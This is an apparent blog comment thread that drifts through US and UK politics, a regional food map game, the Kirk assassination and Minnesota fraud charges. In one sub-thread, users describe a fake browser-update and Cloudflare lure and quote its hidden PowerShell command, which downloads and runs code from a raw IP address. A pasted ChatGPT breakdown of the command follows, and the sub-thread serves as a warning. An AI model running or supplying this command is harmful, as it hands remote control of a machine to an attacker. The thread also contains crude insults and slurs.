        OK, thanks.

        If I had to guess, asians were first to do the stuffed “pasta” thing.

        Calzone/Stromboli are pizza not pasta.

      • The Last American Hero

        The only good Italian beer is the German beer found in Northern Italy that they sell to cater to German and Austrian tourists.

    • ZWAK, doktor of BRAIN SCIENCE!

      They do it because of Garibaldi.

      • juris imprudent

        That Italian unity always was overblown.

    • R C Dean

      I don’t take “from” to mean “can be cooked or bought there”. Honestly not sure how of Italian cuisine, especially when Italy is divided like that, would need ingredients from some other region.

    • PutridMeat

      Hell of a rebound by one of those dudes.

  30. Ownbestenemy

    Cede power to the government and eventually the government will come for you.

    People don’t see it that way, because they imagine their side will always be in charge, carrying out their darkest wishes against the other tribe. But that’s just human nature…left, right, doesn’t matter.

    Once you normalize weaponizing power, the hammer eventually swings your way too.

    A bit of both I guess.

    • Ownbestenemy

      Eh..supposed to be a reply to ZWAK

    • Stinky Wizzleteats

      The only way to change the standards in a more or less evenly divided country is to make both sides live up to those standards but for the time being it’s just payback for 10 years of leftwing shittery.

      • juris imprudent

        With the caveat that once both sides do it, neither has a disincentive to stop.

      • juris imprudent

        well crap – just drop the ‘dis’ up there

      • cyto

        It really is tempting to look at it that way.

        “You guys can complain when it has been happening to you for 15 years.”

      • R C Dean

        Of course, when only one side does it, they certainly don’t have any reason to stop.

      • ZWAK, doktor of BRAIN SCIENCE!

        It is a version of The Prisoner’s Dilemma, in Game Theory. If you defect from the rules, the only way to force you to come back to the rules is if the opponent does it to you.

      • juris imprudent

        Or it just becomes normalized, you all do realize that risk, don’t you?

      • Stinky Wizzleteats

        JI: Those with sense realize it but the dim bulbs don’t and that behavior will be normalized but they don’t drive the culture anyway. It’s apparent that the way it was being handled wasn’t working.

  31. Common Tater

    “The lawsuit claims that “in 2023, a large boulder rolled into her backyard and knocked over trees,” which she blames on “freeze-thaw events” driven by fossil fuels. If those fuels weren’t causing climate change, the suit claims, “the boulder that tumbled toward her home would probably have never become dislodged,” as the Guadian reported.

    But her troubles didn’t stop even after the teen moved to a different part of the state, according to the suit.

    “I coached tennis during the summer, but I recently did have to give it up due to such extreme weather and extreme climate events that don’t make it safe for me to be outside anymore,” the teen said. Presumably, tennis instruction in Wisconsin has continued thanks to others bravely stepping up.”

    Yet it’s cool enough for dairy cows.

    • PieInTheSky

      I have to admit we are kinda sorta closing in on peak derp

      • Ownbestenemy

        Give it a week, that goal post will keep moving.

      • cyto

        I think i argued that with Dunphy on HnR about w0 years ago.

        No, there apparently is no such thing as peak derp.

      • juris imprudent

        Zeno’s paradox of derp?

  32. Common Tater

    ““We gave it to them for nothing,” Trump said of the base. “We’re trying to get it back, by the way. That could be a little breaking news. We’re trying to get it back because they need things from us. We want that base back but one of the reasons we want the base is, as you know, it’s an hour away from where China makes its nuclear weapons.”

    The president did not expand on what “things” the Taliban is trying to get from the United States or provide any other insight into the plans to regain control of the base.”

    https://justthenews.com/government/white-house/trump-discloses-plan-take-back-bagram-air-base-taliban-afghanistan

    I think the U.S. has enough foreign bases.

  33. Ownbestenemy

    A-F, I like all food.

    • JaimeRoberto (carnitas/spicy salsa)

      What do you have against seal meat and blubber?

  34. PieInTheSky

    Corbyn and Sultana clash over new party membership

    Ex-Labour MP Zarah Sultana has accused Jeremy Corbyn of overseeing a “sexist boys’ club” locking women out of the founding of a new left-wing party the pair announced earlier this year.

    https://www.bbc.com/news/articles/cgkn3v1e7g3o

    So an old school commie grifter and an Islamist commie grifter decided to make the One True Leftist Party in the yookay. And not one month in they are on the verge of splitting over who can grift more.

    • PieInTheSky

      Jeremy Corbyn
      @jeremycorbyn
      4.5 million children are living in poverty. Our climate is burning. Palestinians are being erased in a genocide.

      Up and down the country, people are demanding real change.

      None of us will ever give up in our common struggle for a more equal, sustainable and peaceful world.

      https://x.com/jeremycorbyn/status/1968764055813775652

      word

      • R C Dean

        Looks to me like the real change the people are demanding all over the country is mass deportation.

    • juris imprudent

      Bonaparte I believe – never stop your enemy when he is making a mistake.

      • PieInTheSky

        I thought it was interrupt not stop

      • Not Adahn

        It was probably some froggy word.

      • Common Tater

        Sun Tzu

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    • Threedoor

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    • (((Jarflax

      Hah, we’ll show you evil fascists, here is a quote by the murderous Stalinist dictator of Bulgaria!

  36. DrOtto

    I probably wouldn’t even notice if everything outside of G disappeared from a food perspective.

  37. sloopyinca


    Now do this one.

    • PieInTheSky

      dot

      • Not Adahn

        The anticipation of the incoming image is killing me.

    • PieInTheSky

      i do not see this one.

    • sloopyinca

      And this one.

      • PieInTheSky

        I would say probably F

      • Common Tater

        F

      • Gustave Lytton

        B, if I had to choose.

      • rhywun

        The line between A and H splits a city in two that I lived in. 🤨

    • Not Adahn

      MUCH more difficult.

      D. Maybe F, since I get both chiles and salmon.

      • sloopyinca

        D. Texas bbq, Cajun, and gulf seafoood.

      • ZWAK, doktor of BRAIN SCIENCE!

        F doesn’t cover the salmon run on either end.

      • Not Adahn

        F has Alaska. No salmon in that part of AK?

      • ZWAK, doktor of BRAIN SCIENCE!

        Nope, too far outside the run.

      • Not Adahn

        TIL

    • PieInTheSky

      Are we talking American food or restaurants in general with any international cuisine? Cause for restaurants in general it is obviously New York.

      For “american food” I assume D cause you can get steak and some other stuff

      • sloopyinca

        American food.

      • R C Dean

        If “from” means “can be bought there regardless of where the food is actually from”, the whole exercise is pretty pointless.

    • Ownbestenemy

      Again, A-H

    • ZWAK, doktor of BRAIN SCIENCE!

      G, and, again, G.

      California BBQ, plus fish from the Pacific Northwest. French food plus Engish/Irish beer.

      done and done

    • SDF-7

      D (because with part of Texas and Alabama — we can take the rest of Georgia back from C and I maybe Tennessee for good bbq and peaches. The Carolinas can stew in their crap-ass vinegar sauces.

      Then H — because most of the Southern cooking I like is really just passed down Scots-Irish anyway.

      • Stinky Wizzleteats

        “crap-ass vinegar sauces”
        And to think I thought you were one of the good ones…

      • SDF-7

        I don’t begrudge anyone who likes them — I’m just not a sour person (my wife makes up for it).

        A big problem for me eating Italian when they start throwing in balsamic, don’t like sweet and sour anything… etc. etc.. just not at all a fan of vinegar, red pepper flakes in it or not.

      • ZWAK, doktor of BRAIN SCIENCE!

        I don’t understand this “southern bbq” thing. Everyone knows that BBQ comes from California.

        And grits are the anti-food anyway, thus negating everything else from that area.

    • SandMan

      D, no contest.

    • Common Tater

      What are the rules? Grown there or bought there?

    • SDF-7

      And I think I’m overly verbose in making a point… Sheesh.

  38. juris imprudent

    It may astound some here, but not all Democrats are braindead idiots.

    And because these differences are usually substantial, each side can point to “bad things they do that we don’t do” and then treat these things as definitive proof that their opponents are the problem.

    This does miss that progressives project the shadow-side of their deepest desires for control as the conservative standard.

  39. Common Tater

    Candy O makes a video about her suspicions about who is behind Charlie Kirk’s assassination. Was it Israel? It receives 8 MILLION views. Dave Smith makes two videos about conspiracy theories and private texts he received from Kirk. He says there is no evidence it was Israel, but somehow that his views on Israel might have possibly been evolving is somehow relevant to his death?

    • cyto

      No clue why anyone would go there. Makes zero sense from any angle.

    • Common Tater

      “Billionaire Bill Ackman has been accused by right-wing provocateur Candace Owens of staging an ‘intervention’ with Charlie Kirk over his views on Israel during a private meeting weeks before the late Turning Point chief’s assassination.

      Speaking on her popular YouTube show, Owens alleged that Ackman was angered by Kirk’s souring views on Israel and that ‘threats were made’ — a story Owens admits she heard secondhand and welcomed Ackman to publicly dispute….

      Owens’s claims have been elevated by other prominent right-wing voices, including Megyn Kelly, Tucker Carlson and Matt Gaetz.

      Carlson claimed on his program that Kirk hated Netanyahu and his war against Gaza despite loving Israel, and that Kirk was ‘tormented’ until the day he died by Zionist donors for platforming Carlson at his event.”

      https://www.dailymail.co.uk/news/article-15103859/Candace-Owens-threats-Charlie-Kirk-Israel.html

      • Ownbestenemy

        Owens was lost nearly all her credibility so Id take anything out of that with a grain of salt

      • cyto

        Why is she doing this? Is she falling into mental illness? Did someone slip something into her drink, causing permanent psychosis?

        She wasnt this nutty.

        For that matter – Tucker?

        Did they get the MK Ultra treatment? They dont seem to have anything coherent to say anymore.

      • Not Adahn

        My vote is social contagion/echo chamber/viewpoint reinforcement.

      • (((Jarflax

        She was flirting with flat eartherism not terribly long ago. She’s a nut and/or an idiot, and a solid reminder that not all idiocy is on the left.

      • Gustave Lytton

        Tucker is on the outside, pissing in.

    • Common Tater

      “Bill Ackman on Tuesday night published private text messages with Charlie Kirk — including an invitation he extended to the slain conservative activist “do dinner sometime with the ladies” — to swat down what he called slanderous claims by Candace Owens’ that he staged a Hamptons “intervention” to blackmail Kirk over Israel….

      Owens issued a statement in response which read: “The New York Post is a propagandist outfit for Israel which has employed, at various times, literal IDF soldiers for writers.”

      “I have no interest in participating in another predictable, radical-Zionist hit piece, which will achieve zero real-world impact. The current awakening of the masses as to the occupied state of our nation is inexorable,” Owens said.

      The Post has sought comment from Carlson, TPUSA and the Israeli government.”

      https://nypost.com/2025/09/17/business/bill-ackman-shares-charlie-kirk-texts-to-dispel-israel-blackmail-claims-by-candace-owens/

      • juris imprudent

        She’s really gunning for the Laura Loomer crown, isn’t she?

    • Certified Public Asshat

      Ok, I mean Dave is retarded for tying himself close to Candace. He’s doing a weird dance now to stay on good terms without denouncing her. He did call out Ian Carroll *shrug*

      • Common Tater

        Entertaining that Kirk’s views on Israel lead to his murder while admitting there is zero evidence sounds retarded. If it were Israel, wouldn’t they go after Candice or Tucker instead? What if it left evidence? That would put Israel in trouble with Trump.

    • JaimeRoberto (carnitas/spicy salsa)

      But Macron’s wife is still a dude, right?

  40. Sensei

    Your empoweringamerica.org link has some bizarre hijack going on. I tried it on several browsers with the same issue. First one wanted me to update Chrome with a provided link. Which is funny since I just properly updated my copy this AM.

    Next it went with this Cloudflare challenge which I thought was especially ugly for a non-technical user.

    https://www.glibertarians.com/wp-content/uploads/2025/09/Screenshot-2025-09-19-091714.jpg

    No problemo! Should I give it Admin rights too?

    • Suthenboy

      Same here. I clicked out. I am not doing that.

    • sloopyinca

      Blame OMWC. I got that link from him.

      • sloopyinca

        Oops, I got it elsewhere.

        But blame (((him))) anyway.

    • Sensei

      Sweet – here is what it’s going to inject:

      powershell -w h -nop -c iex(iwr -Uri 91.92.240.251 -UseBasicParsing)

      Anybody regularly use powershell have an idea what can be pushed through that?

      • Richard

        I entered “91.92.240.251” into the Firefox address bar and what looks like Cloudflare’s genuine web site came up. It’s very odd.

      • Sensei

        ChatGPT

        This command is malicious. Let me break it down step by step:

        powershell -w h -nop -c iex(iwr -Uri 91.92.240.251 -UseBasicParsing)

        1. PowerShell Options

        -w h: Starts PowerShell with the window hidden. This makes the process run invisibly.

        -nop: Stands for “No Profile.” It skips loading user profile scripts to avoid restrictions or logging.

        -c: Runs the specified command directly.

        2. The Core Command
        iex(iwr -Uri 91.92.240.251 -UseBasicParsing)

        iwr = alias for Invoke-WebRequest.
        This contacts the remote IP address 91.92.240.251 and downloads whatever content is hosted there.

        -UseBasicParsing: Uses a simplified parser (often to avoid compatibility issues on older systems).

        iex = alias for Invoke-Expression.
        This takes the downloaded content and immediately executes it as PowerShell code.

        3. What This Means

        The command fetches remote code from the IP address 91.92.240.251.

        Whatever script comes back is executed in memory (without touching disk), making it harder for antivirus tools to detect.

        The use of hidden windows, no profile, and direct execution are classic signs of malware delivery (often for remote access trojans, ransomware, or credential theft).

        In plain terms:
        This is a remote code execution (RCE) backdoor. Running it would give the attacker at 91.92.240.251 control over the machine.

      • EvilSheldon

        That command executes a PowerShell script retrieved from that IP, without displaying anything on the screen.

        Alarm bells should be ringing here.

    • SDF-7

      Yup… “Prove you’re not a bot — do your own cross site script attack!”

      Nope. Nope nope nope nope nope…

    • Common Tater

      I didn’t see that. It took a long time to load, but it worked for me. No verification needed. The fonts were all weird though.

  41. Suthenboy

    On the food thing….if the question means only foods that originate in that area I choose none. There is no place on earth that has a suitable diet solely on native foodstuffs. That is why the spice trade was such a big deal and still is. Every area has a very narrow choice of things to eat.

    • Not Adahn

      I’m STILL going with the chocolate/coffee/vanilla/chicken-fried steak region.

      If you need something that doesn’t grow in the Southern US/Mexico/Northern South America, you’ve got very particular tastes.

    • cyto

      On that same note, we live a life that no king of old could have dreamed of, even the poor in America. Leaving aside the entertainment we have access to, the technology… all the modern stuff…

      Our system of trade and transportation is a marvel. At any moment I can have the most exotic cuisine, filled with the rarest spices from across the globe, prepared by professional chefs who do nothing but prepare that one style of food all day, every day.

      Even at home – this weekend I made cashew chicken that was fantastic. I had fresh chicken – just the beasts. Fresh bell peppers and onions. Cashew nuts. Soy sauce imported from the far east. Hot chili paste from Thailand. Jasmine rice. Beer from Belgium, because it was in the fridge.

      My wife made Italian with all attendant spices and fresh meats and vegetables. Fine cheeses from Italy, Wisconsin and Florida. Pasta from Italy. Wine from Australia, of all places.

      Last night we ordered in chinese, made by actual Chinese immigrants in the American style. (Great people)

      It would astonish the wealthiest of the wealthy from even the 1800s.

      And as I said, that is just the food.

    • R.J.

      “originate” is a hard concept when it comes to food. The South re-imagined Chinese, Japanese, Mexican, etc… and improved on all of it for American tastes. And I consider that original, and still go with G. And I have been eating that my whole life. I may be fat, but I am also happy with my food choices. We have German, Polish, Somali, too. Everything is here.

  42. Shpip

    Why Arizona is the epicenter of Charlie Kirk memorials

    1 – Because that’s where his wife is from, and that’s where he lived

    2 – The headline writer doesn’t know what the word epicenter means, but is trying to sound smart

    • cyto

      Ouch. I snarfed that one and may have pulled a stomach muscle.

  43. Suthenboy

    I dont remember who…it was one of the left coast dems from the aged-out/dead generation….was being interviewed and got painted into a corner about why they did such and such. They got frustrated and angry and just blurted out “Morals are for suckers!”

    Keep that in mind when thinking about the nature of pols, the likelyhood of this or that conspiracy theory and so on.
    No matter how bad you think they are, they are worse.

  44. Common Tater

    “Controversial fired NFL quarterback Colin Kaepernick is paying for an independent autopsy for a black student who was found hanging from a tree on his Mississippi college campus — after the dead student’s family challenged the official ruling of suicide.”

    Demartravion “Trey” Reed, 21, was found dead Monday morning hanging from a tree near the pickleball courts at Delta State University in Cleveland, according to police.”

    https://nypost.com/2025/09/19/us-news/colin-kaepernick-funding-independent-autopsy-for-demartravion-reed/

    Demartravion didn’t think this through.

    • cyto

      I have zero knowledge beyond this post, but anyone who really suspects some white supremacist KKK types did it is seriously unhinged. In fact, it is so unlikely that “autoerotic asphyxiation” is more likely.

      • R.J.

        Beware of fake autopsy findings.

  45. The Other Kevin

    “Indigenous broadcasters scramble to maintain weather alerts, language programs and local news”
    Same old playbook, pick a few critical things and claim there is no other way for people to get that information.

    “Top Biden aide admits president struggled in final years in office”
    I’m seeing a lot of these stories. What I’m NOT seeing is, “Top Biden official admits he lied out his ass to cover for Biden’s decline”.

    I’m going with Region G, that’s got BBQ, Mexican food, and Brazilian steak. I’m eating a lot of protein these days.

    • (((Jarflax

      It was only in his final years in office. He was fine before that. (final years in this comment means the last 10 years of service in any elective office, prior to that, any issues relate to basic stupidity not senescence)

      • R.J.

        He was spry, even!

    • JaimeRoberto (carnitas/spicy salsa)

      Indigenous radio was the only thing I could get while sitting in my car in the Badlands waiting for storms to pass so I could go out and set up my tent. I didn’t get any weather alerts, but I did get to hear a shitfaced Indian ramble incoherently for about an hour. Pretty depressing really.

      • Threedoor

        Highway 20 in nowhere MT.

        French talk radio
        Old timey country
        Drum circle.

        I screwed up and didn’t bring my iPod on that trip.

  46. Not Adahn

    Re: CPB cuts,

    before the recission happened there was a spokespersyn on NPR talking about all the good stuff those tax dollars were doing. How they were providing two or three stations in a region that only had <600 residents and thus could afford to support THREE DIFFERENT radio stations. He legitimately thought this was a valid use of tax money.

    • Not Adahn

      Should be a “not” there.

      Seriously, one of their areas had 200 people and three stations. WTF is the point of that?

      • Suthenboy

        You can translate 99% of the words spoken every day by the entire human race to “Give me money”.

    • Sensei

      If you have the ability I would replace the link.

      • sloopyinca

        I just did. Thanks for mentioning.

    • Common Tater

      archive.is hasn’t worked for me the last few days

    • cyto

      Was talking to my brother about that last night. Unreal.

      Adam Carolla had a funny bit about it.

      Henry Ford hated the news. Just imagine going back in time… Mr. Ford… about your town. Yeah, you dont like the news, right? Well what if I told you that in the future, the whole town will be full of people who hate the jews…

      Yeah… no, no, no… before you get to excited about that part….

      • cyto

        Some fancy scripting changed every instance of “jews” to news, ruining the joke. But you get it.

      • SDF-7

        That would sure make this kid‘s interview much more disturbing…

    • Sensei

      Perfect.

  47. Drake

    Region C is the sleeper I might pick. It clips part of Italy, Greece, and Turkey – so good Mediterranean food. I think Hungary is on the line which would be nice. It has Georgia which is a very big thumbs up. And still some variations on Asian food out there in the far east.

    • PieInTheSky

      AND ROMANIA

      • SDF-7

        Look — we can only take so much blood sausage, Pie.

        Plus, some of us enjoy garlic.

      • PieInTheSky

        Blood sausage is not a thing here. And we use mujdei on everything

      • Suthenboy

        I enjoyed your article on Romanian food. All of it looked like food I had as a kid and the staple diet of my grandparents.
        Variety and creativity in diet is not so much of a thing as it used to be.

      • Drake

        Sold – C is my final answer. Now I have to get back to the local Georgian restaurant.

      • PieInTheSky

        I had a Georgian soup with lamb chops in it and it seem like a waste of lamb chops to use them for soup.

      • DEG

        Look — we can only take so much blood sausage, Pie.

        More Himmel und Äd and Irish breakfast for me….

  48. The Late P Brooks

    Coffee, bananas, pineapple.

    • PieInTheSky

      I hate pineapple

  49. Suthenboy

    Wife tells me she just figure out that Elon Musk is the man who fell to earth and he is just trying to get back home.

    Sounds legit.

  50. PieInTheSky

    Also lets get one thing clear on the food front:

    Hazelnut is best nut. I dont wanna hear nuttin of no cashew pecan brazil nut or whatever

    • Common Tater

      macadamia are great but $$$$

      • PieInTheSky

        that falls under whatever so no

    • Sean

      Cashews are seeds.

    • KSuellington

      Pistachio dude.

  51. The Late P Brooks

    I hate pineapple

    Have a lemon, instead.

    • PieInTheSky

      lemonade should just be lemon and water. nothing else.

      • Urthona

        erm… sugar?

      • PieInTheSky

        no, no sugar.

      • R.J.

        Somewhere there is an Aquabats Show clip of them selling lemonade without sugar because sugar is bad for you.

      • PieInTheSky

        that don’t enter into it it just tastes bad. Lemon + water.

      • Nephilium

        That is not lemonade. Hell, even British lemonade, while wrong, is closer than that.

      • EvilSheldon

        I also sometimes enjoy peeing out my ass.

      • KSuellington

        No, lemonade needs sugar. Not a crapton, just enough to balance the sour.

      • Common Tater

        “I also sometimes enjoy peeing out my ass.”

        Are you available for kid’s parties?

      • Sean

        And vodka.

  52. The Late P Brooks

    It’s a trap

    A resolution to honor conservative activist Charlie Kirk and condemn his assassination has been the subject of frenzied talk among House Democrats this week as some lawmakers grapple with how to vote on it.

    Why it matters: Kirk was not beloved by Democrats, but some in the party fear that anything short of a unanimous vote for the resolution could be a messaging coup for Republicans.

    “People are worried that we’re being totally set up,” one House Democrat told Axios on the condition of anonymity to offer details of sensitive internal discussions.
    The lawmaker noted that a bipartisan resolution condemning the shootings of Democratic state lawmakers in Minnesota passed the House 424 to 0 in June.

    You’ll always have George Floyd.

    • Sensei

      You’ll always have George Floyd.

      Exactly.

    • Stinky Wizzleteats

      Condemnation of a political assassination is a pretty low bar for anyone with even a hint of morals. Leave it to the Dems to not meet it.

      • Suthenboy

        No matter how bad you think they are, they are worse.

    • R.J.

      It might be best to not take a picture in front of tons of cheese puffs unless you have the body of an Olympian.

      • Tres Cool

        I’m mildly erect.

      • Stinky Wizzleteats

        I hear you Tres, I like cheese puffs myself.

  53. The Late P Brooks

    At least one House Democrat, Rep. Jasmine Crockett (D-Texas), is planning to vote against the resolution, telling Axios she is “not sure what is honorable” about many of Kirk’s past statements.

    Asked about concerns of GOP backlash, Crockett said she lives “under their heinous threats every single day” and suggested Democrats should not be like Republicans who have “abdicated their duties out of fear.”
    Several more said they are undecided, including Progressive Caucus Chair Greg Casar (D-Texas). Others said they plan to vote “present.”

    Oh, woe! Oppressed and unseen, she is.

    Bless your heart. You could move to Venezuela.

    • Not Adahn

      She also said the shooter was a rightie because democrats couldn’t have made the shot. They “haven’t been playing with assault weapons since childhood” or something like that.

    • creech

      How many Republicans voted against the House Resolution regarding the murder of the Minnesota state representative?

      • Nephilium

        0.

    • Suthenboy

      How many pols keep getting elected by being absurdist performance artists?

      Hint: The answer is zero. The elections are frauds.

  54. Tres Cool

    I wonder how mujdei would be with the addition of some horseradish

  55. The Late P Brooks

    And now a word from the loser

    “Well, I was surprised when I read that — I just believe in giving Americans more credit,” Buttigieg said Thursday in an interview with Politico. “My experience in politics has been that the way that you earn trust with voters is based mostly on what they think you’re going to do for their lives, not on categories.”

    People won’t care what you are, as long as you offer them plenty of free shit.

    • rhywun

      offer them plenty of free shit

      It feels like there’s a way to fix that problem without even having to rewrite laws and shit. Hm, I wonder what it is.

  56. KSuellington

    I saw that food thing on Reddit and they claimed no one picked region A. That’s weird cause it has most of France in it (along with delicious seal from Greenland). France would be a strong contender for single country cuisine forever. Even though French food is tne frigging bomb I think the hands down winner is F. You get all the great food from the South, along with Mexican food which would be my personal single country cuisine to live on forever. Mas tacos por favor. Probably number 2 would be G as it has both Brazil and Argentina as well as southern Peru. That is quite the triumvirate of awesome food cultures. Grilled meats, awesome seafood including the birthplace of ceviche, and the massive amount of fruits from Brazil.

  57. The Late P Brooks

    Harris wrote in her forthcoming book “107 Days” that the former Democratic mayor was her first choice as a running mate for the 2024 presidential campaign, but picking him was “too big of a risk.”

    Because he would have towered over her, intellectually? Finding somebody to be second fiddle to her was a serious task.

    • JaimeRoberto (carnitas/spicy salsa)

      The gay guy was too risky so she chose another gay guy.

      • creech

        No mention of Shapiro. I’m beginning to think he saw the train wreck coming and turned her down in no uncertain terms. Now he can run in 2028 without any loser baggage.

  58. Rat on a train

    I’m enjoying reading the joy of people cancelling Disney subscriptions.

    • UnCivilServant

      The free trial periods are running out?

  59. UnCivilServant

    Wow I really overslept. I lost half of my day off.

  60. Common Tater

    “The Kirk murder, in this context, is not an act of political terrorism; it is a desperate, violent assertion of personal meaning by a pathetic, immoral agent operating in a system experiencing a collapse of meaning. The assassin is the ultimate product of a society that has become a cacophony of contradictory signals. Unable to process a single, clear purpose, the individual becomes a tragic automaton, compelled by a violent impulse and forced to invent a narrative that can, however briefly, make sense of the carnage. The ideology is not the map to the violence; it is the bewildered commentary on a journey that has already begun.”

    https://freddiedeboer.substack.com/p/constituent-parts-of-a-theory-of

    I get this argument that all these shooting aren’t truly ideological. However, I’d argue more such violence would come from the left, because people on the right have more of a sense of meaning and purpose.

    • Nephilium

      Meh. It’s not like a lot of the rank and file Republicans are any more of deep thinkers than the rank and file Democrats. The difference is that the Republicans are vastly more likely to have been exposed to the Democrats’ theories and beliefs.

      Ask them for the underlying principles, and you’ll generally get a deer in the headline look.

      • Suthenboy

        This is no doubt in my mind true, however it is shocking to me how obvious the depravity of the left is.

      • Common Tater

        Not saying young Republicans are deep thinkers, but their lives have more meaning and purpose. And I wouldn’t describe these shooters as Democrats either.

      • Suthenboy

        ‘Democrats’ as I know them are rare. Federman? No one else really comes to mind. Trump?

        Labels are tricky. Just looking at the policies of the party today what I see is a lot of nihilism and hatred for our founding principles.

  61. The Late P Brooks

    UNPRECEDENTED

    Anna Gomez, one of two FCC commissioners working with Carr and the lone Democrat on the commission, called Kimmel’s penalty a dangerous new precedent.

    “This administration is increasingly using the weight of government power to suppress lawful expression, not because it glorifies violence or breaks the law, but because it challenges those in power and reflects views they oppose,” she said on CNN Wednesday.

    That has never happened before. Certainly not in recent history. That would be inconceivable.

    • Tres Cool

      I bet Anna has her Covid shots and boosters.

    • Unreconstructed

      That would be inconceivable.

      You keep using that word. I do not think it means what you think it means.

    • rhywun

      I would have thought that dancing on the grave of a political assassination victim was beyond the pale for both Teams but what the fuck do I know. And spare me the “free speech” bullshit – calling the assassin a “MAGA” follower is morally equivalent. Bondi shooting off at the mouth doesn’t absolve you from “DEMOCRATS POUNCE!”

    • R.J.

      Truth is, the government was pissed and probably should have just stopped sticking their foot in. The advertisers and station owners were way more pissed. Overnight his advertising dropped and station owners decided to not air his program. Previous to his big foul that got him yanked, he had already been warned to cool it, and maybe even apologize. He did no such thing, he went on the air and shot off his mouth.

    • Suthenboy

      Hmmmm. The ‘kid’ interviews are AI generated.

      • Pope Jimbo

        Are you doubting CBS News?

        When have they ever been known to lie in a news story?

    • Tres Cool

      Brian Williams didn’t lie.
      He misremembered.

  62. rhywun

    The Bills predictably beat the Dolphins.

    Pissed that was pay-Bezos only. The Dolphins rivalry was huge back in the day.

  63. Threedoor

    Speaking of trucks, I got mine back from the paint shop yesterday.

    2005 Freightliner M2 112, caterpillar C13, Eaton 10 speed, 40,000 lb rear end, no DEF, no DPF, 425 Hp.

    Only 98987 miles on the clock.
    https://ibb.co/G4kjwF0W
    https://ibb.co/1fWKgLFd

    • Tres Cool

      *cue theme to Movin On

    • Sean

      Sweet rig. We’re gonna need to see it all chromed up.

      • Tres Cool

        + right turn, Clyde

      • Threedoor

        I have to resist the urge to bling it out before I get the real work done to it.

        Door glass goes I. Today and then I’m off to work.

        Can is stripped, I have a ton of interior work to do before it get too crazy with it.

  64. Pope Jimbo

    Say what you will about Minnesoda, but we are well prepared. First there were all sorts of stories about Minneapolis/St. Paul preparing for when Trump pardoned Derek Chauvin. The local journalos weren’t deterred at all by the fact that absolutely no one had actually propose any pardon. They were just happy that the Emergency Planners were on the job.

    Now?

    Minneapolis and St. Paul are planning for when Trump deploys the National Guard to the Twin Cities

    Minneapolis Mayor Jacob Frey says the city is ready with legal and emergency response plans in the event that President Donald Trump tries to deploy the National Guard in the city.
     
    “You have to be prepared,” Frey told MinnPost in an interview, calling Trump’s recent military interventions in U.S. cities a dangerous “game.”
     
    St. Paul Mayor Melvin Carter is also steeling for the possibility of a federal incursion.
     
    “Sending National Guard troops to occupy American cities oversteps federal authority, undermines local control and turns our military into a political prop,” Carter said in a statement.
     
    Trump has said he’s preparing to send National Guard troops into Democrat-run cities because of what he says is out-of-control crime. He’s described Baltimore and Chicago as “hellholes” and also called out New Orleans, New York and Philadelphia, among others.
     
    The president has not specifically mentioned Minneapolis, but a rash of gun violence — including the Aug. 27 mass shooting at Annunciation Catholic School and a mass shooting at a homeless encampment this week — has stoked public fears and speculation that the city may be on the president’s list.

    • Pope Jimbo

      Instead of deploying the 19 year-old cooks National Guard, Trump should do a Berlin Wall.

      Build a wall around the Twin Cities and refuse to let the citizens out. I think that would make everyone happy.

      • Furthest Blue pistoffnick (370HSSV)

        But what about my Juicy Lucy!?!?!?!

      • Tres Cool

        Cook is a very underrated job. Keeping soldiers fed is pretty damn important.

  65. Pope Jimbo

    Why won’t some intrepid journalo ask King Walz how it feels to know he was second runner up to Mayor Pete? I’d love to see him answer that.

    Speaking of King Walz I see he is running for a third term and one of his planks is to stop letting the state get ripped off. Funny, you’d think that his eight years in office would have been long enough to stop that.

    Especially when Eight more people were just indicted for govt fraud.

    Federal authorities said Thursday they’ve charged eight people for their roles in what prosecutors describe as a “massive fraud” scheme tied to Minnesota’s federally funded housing stabilization program.
     
    The program, which used federal Medicaid money, was intended to help people with disabilities find and maintain housing. Instead, those charged acquired the names of eligible people from facilities like treatment centers and used that information to submit inflated and false reimbursement claims, the Minnesota U.S. Attorney’s Office said.

    If I were a defense attorney, I’d argue that the program was so stupid to begin with, it deserved to be ripped off. The program didn’t give a dime to any disabled person to actually pay rent on a place to live. All the money went to “counselors” who helped the disabled navigate the crazy world of apartment rentals.

    • Pope Jimbo

      Can you detect a similarity in the defendents?

      Charges allege each of the four defendants in the Brilliant Minds alleged scheme — Moktar Hassan Aden, 30, Mustafa Dayib Ali, 29, Khalid Ahmed Dayib, 26, and Abdifitah Mohamud Mohamed, 27 — pocketed between about $300,000 and $400,000.
       
      Beyond the four people tied to Brilliant Minds, federal prosecutors charged Christopher Adesoji Falade, 62, and his son Emmanuel Oluwademilade Falade, 32, alleging a similar scheme involving their company Faladcare Inc., and fraudulent claims of totaling more than $2.2 million
       
      Separately charged were Asad Ahmed Adow, 26, the owner of Leo Human Services LLC based in Brooklyn Park, and Anwar Ahmed Adow, 25, owner of Liberty Plus LLC of Roseville.

      The fraudsters for Feeding Our Children and the Autism Centers were made up of the same cast of characters.

      • Common Tater

        Damn Irish!

      • Tres Cool

        Amish?

      • creech

        STEVE SMITH detect similarity. By detect, mean…..

    • Furthest Blue pistoffnick (370HSSV)

      I, as a Minnesoda taxpayer, feel like Mr. Walz ripped me off. The state had a several billion (maybe even $18B) dollar surplus.

      Tax rebates? Lower tax rates? Hell, no. Tampon Tim pissed it away.